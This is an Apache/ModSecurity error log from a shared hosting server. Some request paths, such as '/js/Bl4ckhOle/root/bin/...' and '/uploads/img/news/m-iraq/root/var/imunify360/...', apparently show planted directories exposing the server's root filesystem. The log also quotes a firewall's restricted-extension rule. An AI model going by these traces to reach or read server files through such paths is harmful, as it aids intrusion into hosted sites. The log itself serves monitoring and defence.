[Fri Jul 17 10:21:53.395490 2026] [security2:error] [pid 2075689:tid 2075689] [client 216.73.216.245:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/var/imunify360/files/sigs/v1_2026-07-16T082026.129686Z/aibolit/ai-bolit-hoster-full.db"] [unique_id "alm06V6LQV5zcO01IS_A7AAAAAw"]
[Fri Jul 17 10:21:53.429298 2026] [security2:error] [pid 2076188:tid 2076188] [client 216.73.216.245:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/var/imunify360/files/sigs/v1_2026-07-16T082026.129686Z/aibolit/mds-ai-bolit-hoster.db"] [unique_id "alm06cwb7ueECO0vce5siAAAAA8"]
[Fri Jul 17 10:21:53.429884 2026] [security2:error] [pid 2076188:tid 2076188] [client 216.73.216.245:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/var/imunify360/files/sigs/v1_2026-07-16T082026.129686Z/aibolit/mds-ai-bolit-hoster.db"] [unique_id "alm06cwb7ueECO0vce5siAAAAA8"]
[Fri Jul 17 10:21:53.430450 2026] [security2:error] [pid 2076188:tid 2076188] [client 216.73.216.245:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/var/imunify360/files/sigs/v1_2026-07-16T082026.129686Z/aibolit/mds-ai-bolit-hoster.db"] [unique_id "alm06cwb7ueECO0vce5siAAAAA8"]
[Fri Jul 17 10:21:53.468658 2026] [security2:error] [pid 2075711:tid 2075711] [client 216.73.216.245:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/var/imunify360/files/sigs/v1_2026-07-16T082026.129686Z/aibolit/ai-bolit-hoster-full.cache.db"] [unique_id "alm06R3_6y13_d3Np4_4agAAAAE"]
[Fri Jul 17 10:21:53.469257 2026] [security2:error] [pid 2075711:tid 2075711] [client 216.73.216.245:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/var/imunify360/files/sigs/v1_2026-07-16T082026.129686Z/aibolit/ai-bolit-hoster-full.cache.db"] [unique_id "alm06R3_6y13_d3Np4_4agAAAAE"]
[Fri Jul 17 10:21:53.502727 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:53.754819 2026] [security2:error] [pid 2075711:tid 2075711] [client 216.73.216.245:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/var/imunify360/files/sigs/v1_2026-07-16T082026.129686Z/aibolit/ai-bolit-hoster-full.cache.db"] [unique_id "alm06R3_6y13_d3Np4_4agAAAAE"]
[Fri Jul 17 10:21:54.122122 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:54.196001 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:54.293174 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:54.414003 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:54.451620 2026] [mime:warn] [pid 2076193:tid 2076193] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:54.552989 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:54.635759 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:54.661573 2026] [security2:error] [pid 2075780:tid 2075780] [client 216.244.66.236:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/libtoolize"] [unique_id "alm06h0C3r-GF3RTNAbSdwAAAAY"]
[Fri Jul 17 10:21:54.661968 2026] [security2:error] [pid 2075780:tid 2075780] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/libtoolize"] [unique_id "alm06h0C3r-GF3RTNAbSdwAAAAY"]
[Fri Jul 17 10:21:54.662459 2026] [security2:error] [pid 2075780:tid 2075780] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/libtoolize"] [unique_id "alm06h0C3r-GF3RTNAbSdwAAAAY"]
[Fri Jul 17 10:21:54.815410 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:54.908006 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:54.945196 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:55.150449 2026] [mime:warn] [pid 2076193:tid 2076193] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:55.190150 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:55.252018 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:55.354580 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:55.505237 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:55.563318 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:55.592431 2026] [security2:error] [pid 2075711:tid 2075711] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/Publications-2/Publications-2"] [unique_id "alm06x3_6y13_d3Np4_4bAAAAAE"]
[Fri Jul 17 10:21:55.593070 2026] [security2:error] [pid 2075711:tid 2075711] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/Publications-2/Publications-2"] [unique_id "alm06x3_6y13_d3Np4_4bAAAAAE"]
[Fri Jul 17 10:21:55.593409 2026] [security2:error] [pid 2075711:tid 2075711] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/Publications-2/Publications-2"] [unique_id "alm06x3_6y13_d3Np4_4bAAAAAE"]
[Fri Jul 17 10:21:55.744403 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:55.871835 2026] [mime:warn] [pid 2076193:tid 2076193] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:55.877131 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:55.984303 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:56.077424 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:56.172944 2026] [mime:warn] [pid 2076258:tid 2076258] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:56.275701 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:56.285418 2026] [security2:error] [pid 2075904:tid 2075904] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/Publications-2/Publications-2"] [unique_id "alm07DuaDdNRw9_WO14xhwAAAAg"]
[Fri Jul 17 10:21:56.286224 2026] [security2:error] [pid 2075904:tid 2075904] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/Publications-2/Publications-2"] [unique_id "alm07DuaDdNRw9_WO14xhwAAAAg"]
[Fri Jul 17 10:21:56.286725 2026] [security2:error] [pid 2075904:tid 2075904] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/Publications-2/Publications-2"] [unique_id "alm07DuaDdNRw9_WO14xhwAAAAg"]
[Fri Jul 17 10:21:56.379408 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:56.484638 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:56.582150 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:56.694270 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:56.916821 2026] [mime:warn] [pid 2076193:tid 2076193] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:56.929260 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:56.988270 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:57.089926 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:57.190253 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:57.294820 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:57.396495 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:57.497823 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:57.604748 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:57.705058 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:57.808126 2026] [mime:warn] [pid 2076193:tid 2076193] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:57.913153 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:58.020844 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:58.256598 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:58.259218 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:58.326296 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:58.428574 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:58.544903 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:58.632459 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:58.775146 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:58.831491 2026] [mime:warn] [pid 2076258:tid 2076258] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:58.850576 2026] [security2:error] [pid 2075690:tid 2075690] [client 57.141.18.87:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory138/node0/memory95/node0/memory89/node0/memory108/power/"] [unique_id "alm07hyL4_TKNgi7OLI25wAAAB4"]
[Fri Jul 17 10:21:58.851588 2026] [security2:error] [pid 2075690:tid 2075690] [client 57.141.18.87:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory138/node0/memory95/node0/memory89/node0/memory108/power/"] [unique_id "alm07hyL4_TKNgi7OLI25wAAAB4"]
[Fri Jul 17 10:21:58.959695 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:59.134312 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:59.237534 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:59.342880 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:59.446094 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:59.564754 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:59.655723 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:59.761042 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:59.868023 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:59.920025 2026] [ssl:error] [pid 2075711:tid 2075711] (70014)End of file found: [client 66.85.158.91:45330] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:21:59.969685 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:00.071034 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:00.171236 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:00.275983 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:00.378276 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:00.478203 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:00.578089 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:00.985761 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:01.087015 2026] [mime:warn] [pid 2076258:tid 2076258] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:01.177500 2026] [security2:error] [pid 2076188:tid 2076188] [client 216.244.66.236:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/mysqlshow"] [unique_id "alm08cwb7ueECO0vce5skAAAAA8"]
[Fri Jul 17 10:22:01.177858 2026] [security2:error] [pid 2076188:tid 2076188] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/mysqlshow"] [unique_id "alm08cwb7ueECO0vce5skAAAAA8"]
[Fri Jul 17 10:22:01.179966 2026] [security2:error] [pid 2076188:tid 2076188] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/mysqlshow"] [unique_id "alm08cwb7ueECO0vce5skAAAAA8"]
[Fri Jul 17 10:22:01.192243 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:01.201766 2026] [ssl:error] [pid 2076132:tid 2076132] (70014)End of file found: [client 66.85.158.91:45370] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:22:01.289749 2026] [mime:warn] [pid 2076193:tid 2076193] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:02.624827 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:02.919804 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:03.093795 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:03.098356 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:03.128513 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:03.196863 2026] [security2:error] [pid 2075693:tid 2075693] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/en_6402d43d7d03e_covid_vaccination_2021-09_17.pdf"] [unique_id "alm0835-BwPGxupoEJk0DwAAAA0"]
[Fri Jul 17 10:22:03.197250 2026] [security2:error] [pid 2075693:tid 2075693] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/en_6402d43d7d03e_covid_vaccination_2021-09_17.pdf"] [unique_id "alm0835-BwPGxupoEJk0DwAAAA0"]
[Fri Jul 17 10:22:03.197581 2026] [security2:error] [pid 2075693:tid 2075693] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/en_6402d43d7d03e_covid_vaccination_2021-09_17.pdf"] [unique_id "alm0835-BwPGxupoEJk0DwAAAA0"]
[Fri Jul 17 10:22:03.366400 2026] [ssl:error] [pid 2075901:tid 2075901] (70014)End of file found: [client 66.85.158.91:44780] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:22:03.429798 2026] [mime:warn] [pid 2076193:tid 2076193] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:03.537372 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
